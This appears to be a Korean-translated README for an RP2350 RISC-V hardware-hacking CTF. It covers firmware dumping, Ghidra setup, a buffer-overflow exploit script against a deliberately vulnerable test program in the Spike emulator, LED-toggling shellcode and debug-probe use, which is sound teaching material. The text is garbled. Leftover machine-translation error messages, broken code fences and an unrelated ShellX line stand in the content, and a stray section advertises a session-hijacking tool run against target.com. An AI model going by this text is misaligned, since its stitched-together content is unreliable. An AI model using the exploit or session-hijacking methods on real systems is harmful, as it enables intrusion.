# 경고

챌린지 중 하나는 하드웨어 디버깅을 요구합니다. 집에서 (다른 보드를 가진 팀원 없이) 챌린지를 수행하는 경우, 해당 챌린지를 해결하려면 다음 두 가지 항목도 구매해야 합니다. (구매하지 않아도 걱정하지 마세요—하지만 해당 특정 챌린지는 해결할 수 없습니다.)

- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html

# 스크립트 정보

이 저장소에 포함된 도구는 @b1n4ri0이 커뮤니티를 위해, 특히 2026 HCON 하드웨어 해킹 챌린지를 위해 개발했습니다.


# 디버그 지원 RP2350 RISCV Hazard3 (@Wren6991) 3-스테이지 RV32IMACZb* 프로세서 악용

RISCV Hazard3는 디버그 지원이 포함된 3-스테이지 RV32IMACZb* 프로세서입니다. HCON2026HWCTF 보드에 탑재된 RP2350 마이크로컨트롤러에 사용됩니다.

# picotool을 사용하여 RISCV Hazard3 펌웨어 덤프하기

`picotool`로 RP2350 장치에서 펌웨어를 덤프하는 것은 간단한 과정입니다. 이 섹션에서는 이를 효과적으로 수행하는 방법을 배우게 됩니다.

참고: `picotool`은 RP2350(및 RP2040) 장치가 BOOTSEL 모드이거나 실행 중인 펌웨어에 Pico SDK의 USB stdio 지원이 포함된 경우에만 상호 작용합니다.

## picotool 빌드하기

선호하는 패키지 관리자를 통해 필요한 빌드 도구와 라이브러리를 설치하세요.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y

`picotool` 및 `pico-sdk` 프로젝트를 클론하세요. 도구 자체와 SDK가 모두 필요합니다. 참고로 `picotool`이 올바르게 컴파일되려면 `pico-sdk`가 필요합니다.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool

기본적으로 USB 장치에 접근하려면 root 권한이 필요합니다. `sudo`를 사용하지 않고 `picotool`을 실행할 수 있도록 udev 규칙 파일을 복사하십시오.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/ 

## 사전 빌드된 바이너리 사용

빌드 과정을 건너뛰고 싶다면 [공식 저장소](https://github.com/raspberrypi/pico-sdk-tools/releases)에서 사전 컴파일된 바이너리를 다운로드할 수 있습니다.```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool

## RP2350에서 BOOTSEL 모드 활성화

펌웨어 덤프와 같은 작업을 수행하려면 `picotool`은 장치가 BOOTSEL 모드에 있을 것을 필요로 합니다. 그러나 현재 실행 중인 펌웨어에 Pico SDK의 USB stdio 지원이 포함되어 있다면, `picotool`은 장치와 상호작용할 수도 있습니다.

아래에서 이 모드를 활성화하는 몇 가지 방법을 언급하겠습니다. 자신의 경우에 가장 적합해 보이는 방법이나, 단순히 자신에게 맞는 방법을 선택하세요.

보드가 **BOOTSEL 모드에 있지 않지만**, USB stdio 지원을 포함한다면**,** `picotool` 명령을 실행하려 할 때 다음과 같은 출력이 표시될 것입니다:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.

but:

RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.

### BOOTSEL을 활성화하는 소프트웨어

장치 펌웨어가 실행 중이고 USB stdio 지원이 있는 경우, 보드를 건드리지 않고도 BOOTSEL 모드로 강제 전환할 수 있습니다.```bash
./picotool reboot -uf

**팁:** 수동으로 먼저 재부팅하지 않고도 실행 중인 장치에서 직접 명령을 실행하려면 명령에 `-f` 플래그를 추가하세요. `picotool`이 재부팅을 처리하고 명령을 실행한 후 애플리케이션으로 다시 재부팅합니다.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Program Information
 name:          hello_usb
 features:      USB stdin / stdout
 binary start:  0x10000000
 binary end:    0x10011d50
 target chip:   RP2350
 image type:    RISC-V

The device was asked to reboot back into application mode.

이 출력은 프로그램 이름, 메모리 범위 및 이미지 아키텍처와 같은 필수 세부 정보를 보여줍니다.

이제 프로그램을 추출하고, 추출된 파일을 저장할 디렉터리를 생성합니다.```bash
mkdir -p $HOME/hcon2026hwctf/

이 단일 명령이 전체 추출 프로세스를 처리합니다. RP2350을 강제로 BOOTSEL 모드로 재부팅하고, 플래시 메모리에서 현재 설치된 프로그램을 읽은 다음, 원시 바이너리 파일로 저장합니다. 추출이 올바른지 확인하기 위해 데이터를 다시 읽어 덤프된 파일이 칩의 내용과 정확히 일치하는지 검증합니다.

다음과 같은 출력이 표시됩니다:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Saving file:          [==============================]  100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash:      [==============================]  100%
  OK

The device was asked to reboot back into application mode.

다음으로, 업데이트된 명령어 정의가 포함된 저장소를 복제하고 새 `data` 폴더를 Ghidra 설치 디렉터리로 이동하세요:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git

cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/

2. 스크립트 파일을 Ghidra 설치의 `ghidra_scripts` 디렉터리에 복사하세요.```bash
cd hcon2026hwctf/GhidraScripts

cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

2. 스크립트 파일을 Ghidra 설치 디렉터리의 `ghidra_scripts` 디렉터리로 복사합니다.```bash
cd hcon2026hwctf/GhidraScripts

cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

- **의존성 설치**```bash
pip install pyghidra cmsis-svd

## 문제 해결: import cmsis-svd

`SVD-Loader-RP2350.py`가 `cmsis-svd` 라이브러리를 찾지 못하면 PyGhidra 인터프리터 내에서 직접 설치할 수 있습니다:

1. **CodeBrowser**에서 `Window > PyGhidra`로 이동합니다.
2. 다음 스니펫을 실행합니다:```python
import subprocess as s
import sys

s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])

### Raspberry Pi Pico 확장 프로그램

이러한 경로를 사용하려면 Raspberry Pi Pico VS Code 확장 프로그램이 설치되어 있어야 합니다. 이 디렉터리 구조는 해당 확장 프로그램 환경에 기본으로 제공됩니다.

확장 프로그램이 설치된 후, **Board Type: Pico 2** 및 **Architecture (pico2): RISC-V** 아키텍처를 선택하여 프로젝트를 구성하세요. 이 설정으로 프로젝트를 생성하기만 하면 필요한 모든 리소스 설치가 자동으로 시작됩니다. 이 경우 별도의 컴파일은 필요 없습니다.

RP2350 Hazard3에 맞는 특정 구성을 사용하여 기호와 형식이 챌린지 바이너리와 일치하도록 합니다.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"

(empty)```bash
make -j$(nproc) -k

### Ghidra Headless를 사용한 자동 분석

생성된 대량의 파일을 처리하려면 Ghidra의 headless 모드를 사용하는 것이 가장 효율적입니다. 이미 챌린지 바이너리를 구성한 프로젝트를 가리키며 분석을 실행해야 합니다:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"

H2 데이터베이스 파일 생성:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize

생성된 서명을 데이터베이스에 커밋하여 프로세스를 완료하세요:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs

I don't see any content to translate in the provided input. The input section appears to be empty. Please provide the source text for chunk 79.```
cd /home/dreg 
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin

go install -v github.com/hueristiq/xcrawl3r/cmd/xcrawl3r@latest

I don't see any input text to translate. The message ends with "INPUT:" and no content follows it. Please provide the chunk content you'd like translated.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make

- **시작 성능:** ShellX 시작은 거의 즉각적이어야 하며 PowerShell 프로필 시작 시간을 느리게 해서는 안 됩니다. ShellX는 모듈을 동적으로 로드하고 대상 영역에서 속도를 최적화하는 데 많은 신경을 씁니다.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install

poc.c를 컴파일하세요```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc

출력은 다음과 같아야 합니다:```
Hello Dreg RISCV!

제 경우에는 main 함수가 0x00010154에 있습니다```
.....
0001016a <main>:
   1016a:       1141                    addi    sp,sp,-16
   1016c:       c606                    sw      ra,12(sp)
   1016e:       c422                    sw      s0,8(sp)
   10170:       0800                    addi    s0,sp,16
   10172:       67c9                    lui     a5,0x12
   10174:       43c78513                addi    a0,a5,1084 # 1243c <__errno+0x6>
   10178:       26ad                    jal     104e2 <puts>
   1017a:       4781                    li      a5,0
   1017c:       853e                    mv      a0,a5
   1017e:       40b2                    lw      ra,12(sp)
   10180:       4422                    lw      s0,8(sp)
   10182:       0141                    addi    sp,sp,16
   10184:       8082                    ret
.....

Spike 디버거 내부:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a

`help` 명령을 사용하여 더 많은 옵션을 볼 수 있습니다. 

Spike는 매우 기본적인 디버거이므로, 외부 `riscv32-unknown-elf-objdump`, `dump` (spike 명령) + 외부 `hexdump`를 결합하여 메모리와 코드를 더 효과적으로 분석하세요...


## 허접한 POC 예제

Spike 에뮬레이터를 사용하여 RISCV Hazard3에서 고전적인 버퍼 오버플로를 익스플로잇하는 허접한 POC 예제입니다.

RISCV에서는 반환 주소가 x86에서처럼 스택에 저장되는 대신 레지스터에 저장될 수 있습니다. 스택 기반 반환 주소 덮어쓰기를 가능하게 하기 위해, 반환 주소를 스택에 푸시하도록 중첩 함수 호출을 추가했습니다.

test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
        strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
        func3(exbuff);
}

static void __attribute__((optimize("O0"))) func1(void)
{
        unsigned char exbuff[10] = { 0 };
        func2(exbuff);
}

static void __attribute__((optimize("O0"))) func_impossible(void)
{
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("good hacker!\n");
        exit(0);
}

int main(int argc, char* argv[])
{
        printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
        printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
        printf("func_impossible address: %p\n", func_impossible);
        if (argc < 2)
        {
                printf("Error, must execute with one arg\n");
                return 1;
        }
        printf("argv 1: %s\n", argv[1]);
        strcpy((char*)buff, argv[1]);
        func1();
        return 0;
}

dotest.sh 실행 후의 출력 결과입니다```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z  00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140

# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin

# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)

# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
    echo ""
    echo "[+] SUCCESS! Offset found: $OFFSET"
    echo "[+] Exploit payload saved to: exploit_payload.bin"
    echo "[+] Target address: $FUNC_ADDR"
    echo ""
    echo "[+] Output:"
    echo "$OUTPUT"
    echo ""
    echo "[+] To reproduce:"
    SPIKE_PATH=$(which spike)
    echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
    exit 0
fi

xpl.sh 실행 후의 출력 예시```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21

[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2

[+] Output:

https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!

[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"

`xpl.sh` 스크립트는 `func_impossible` 함수에 도달하는 데 필요한 오프셋을 성공적으로 브루트포스하는 CRAP POC입니다. 특정 요구 사항에 맞게 익스플로잇을 수정하거나 조정해야 할 수도 있습니다.

# Payload / Shellcode 작성 RISCV Hazard3

이 섹션에서는 Hazard3 RISC-V 코어를 위한 고수준 C 코드에서 원시 명령어 셸코드로의 전환을 보여줍니다. 표준 Pico SDK 프로젝트로 시작하여 바이트 배열에서 원시 머신 코드를 실행할 수 있을 때까지 점진적으로 추상화를 제거합니다.

크로스 컴파일 툴체인을 설치하고 Pico SDK를 클론하세요.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git

I didn't receive any source text to translate in this chunk. Please provide the Markdown content for chunk 123.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git

## 간단한 C 파일

GPIO를 토글하는 간단한 C 프로그램부터 시작합니다. 이 버전은 외부 SDK 함수에 의존합니다.

파일: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"

static void __attribute__((optimize("O0"))) onled(void) {
    gpio_put(25, 1);
}

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    onled();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	onled();
    }
    return 0;
}

파일: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped

## asm 코드가 포함된 C 파일 (외부 호출 없음)
독립형 페이로드를 만들려면 외부 점프를 피해야 합니다. 인라인 어셈블리를 사용하여 하드웨어 레지스터와 직접 상호작용하도록 함수를 다시 작성합니다.

파일: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"

__attribute__((naked, optimize("O0"))) void onled(void) {
 __asm__ volatile(
 
    "addi sp, sp, -16\n\t"
    "sw   ra, 12(sp)\n\t"
    "sw   s0,  8(sp)\n\t"
    "addi s0, sp, 16\n\t"

 
    "li   a1, 1\n\t"
    "li   a0, 25\n\t"

 
    "bset a0, zero, a0\n\t"   
    "lui  a5, 0xd0000\n\t"     
    "beqz a1, 1f\n\t"          
    "sw   a0, 24(a5)\n\t"      
    "j    2f\n\t"
    "1:\n\t"
    "sw   a0, 32(a5)\n\t"      
    "2:\n\t"

    "nop\n\t"

    "lw   ra, 12(sp)\n\t"
    "lw   s0,  8(sp)\n\t"
    "addi sp, sp, 16\n\t"
    "ret\n\t"
  );
}

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    onled();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	onled();
    }
    return 0;
}

## 페이로드 코드 / 셸코드 스타일의 C 파일
opcode를 바이트 배열로 추출하고 함수 포인터로 캐스팅하여 실행합니다.

File: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"

unsigned char payload[] = {
"\x41\x11"              // 1141
"\x06\xc6"              // c606
"\x22\xc4"              // c422
"\x00\x08"              // 0800
"\x85\x45"              // 4585
"\x65\x45"              // 4565
"\x33\x15\xa0\x28"      // 28a01533
"\xb7\x07\x00\xd0"      // d00007b7
"\x99\xc1"              // c199
"\x88\xcf"              // cf88
"\x11\xa0"              // a011
"\x88\xd3"              // d388
"\x01\x00"              // 0001
"\xb2\x40"              // 40b2
"\x22\x44"              // 4422
"\x41\x01"              // 0141
"\x82\x80"              // 8082
"\x01\x00"              // 0001
};

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    ((void (*)(void))(void*)payload)();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	((void (*)(void))(void*)payload)();
    }
    return 0;
}

# 하드웨어 디버깅

도전 과제 중 하나는 실제 하드웨어 디버깅을 위해 다른 참가자와 팀을 구성하거나 RP2350 보드를 두 개 준비해야 합니다. 그 방법을 배워 봅시다.

(pico-sdk가 설치되어 있어야 합니다)

/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"

이 도구는 특정 웹 애플리케이션에서 발견된 취약점을 악용하여 획득한 세션을 관리하는 데 도움을 주는 세션 하이재킹 도구입니다. 이 도구를 사용하면 침투 테스터가 세션 ID를 가로채고 이를 사용하여 사용자를 가장할 수 있습니다.

### 주요 기능

- **세션 가로채기**: 네트워크 트래픽을 모니터링하여 활성 세션 ID를 캡처
- **쿠키 조작**: 가로챈 세션 쿠키를 수정하고 재생
- **세션 고정 공격**: 사용자 세션을 공격자가 알고 있는 세션 ID로 고정
- **자동 세션 재생**: 가로챈 세션을 사용하여 자동으로 요청 재생

### 설치

```bash
git clone https://github.com/example/session-hijacker.git
cd session-hijacker
pip install -r requirements.txt

python session_hijacker.py -i eth0 -t http://target.com

먼저 대상 보드에 .uf2 RISCV 펌웨어를 플래시해야 합니다. CTF가 RISCV 펌웨어를 사용하므로 이 단계는 필요하지 않습니다. 게다가 그 펌웨어를 디버깅하고 싶을 테니까요!

하나의 RP2350 보드를 이 펌웨어로 Hardware-Debugger-board로 변환하세요: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2

하드웨어 디버거 보드를 대상 보드에 연결하세요

![](https://assets.kitploit.com/production/public/readmes/7385/6171648e3f42a1ca17a78f243ffc65c1496867d635b561dbb688240cef65ce61.jpg)

RISCV-openocd를 연결하세요```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts

I don't see any content in the input to translate. Please provide the chunk text so I can translate it from English to Korean.```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
 rv0 
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0]  XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1]  XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections

출력:```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
ra             0x2001041c	0x2001041c
sp             0x20010400	0x20010400
gp             0x20031455	0x20031455
tp             0x0	0x0
t0             0x2000d7ba	536926138
t1             0x6a8c	27276
t2             0x200103a0	536937376
fp             0x20082000	0x20082000
s1             0x20010450	536937552
a0             0x0	0
a1             0x7232	29234
a2             0xffa00000	-6291456
a3             0x7206	29190
a4             0x0	0
a5             0xbdf0	48624
a6             0x7750	30544
a7             0x1	1
s2             0x10000036	268435510
s3             0x0	0
s4             0x0	0
s5             0x0	0
s6             0x0	0
s7             0x0	0
s8             0x0	0
s9             0x0	0
s10            0x0	0
s11            0x0	0
t3             0x200103d4	536937428
t4             0x0	0
t5             0x6b0c	27404
t6             0x74f8	29944
pc             0x20001d56	0x20001d56

이 시점부터 칩을 디버깅할 수 있습니다.

## Black Magic Debug Probe RP2350 RISCV Hazard3 

![](https://assets.kitploit.com/production/public/readmes/7385/4f0dcd9636100e3c43afb2a5067eeb4d5122337be8789bec057a8e98234ee617.jpg)

Black Magic Debug Probe 구매: JTAG 케이블, 0.1" UART 케이블 및 20핀 어댑터 포함:
- https://1bitsquared.de/products/black-magic-probe

/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"

업그레이드:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0

(empty)```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0

The input content for this chunk is missing — please provide the text to translate.```
./bmputil-cli probe update
Updating release metadata cache                                                                                                                                                                                    [2026-01-08T13:27:41Z INFO  bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO  bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating

입력된 Markdown 콘텐츠가 없습니다. 번역할 내용을 제공해 주세요.```
(gdb)  target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
 1      RP2350 rv32imac
 2      RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa:	addi	a1,a1,4
   0x100000ac:	addi	a2,a2,4
   0x100000ae:	bltu	a2,a3,0x100000a6
   0x100000b2:	ret
   0x100000b4:	addi	a3,sp,128
   0x100000b6:	addi	s0,sp,32
   0x100000b8:	unimp
   0x100000ba:	fld	fs0,0(s0)
   0x100000bc:	sw	a3,96(a5)
   0x100000be:	jal	0x100000be
(gdb) c
Continuing.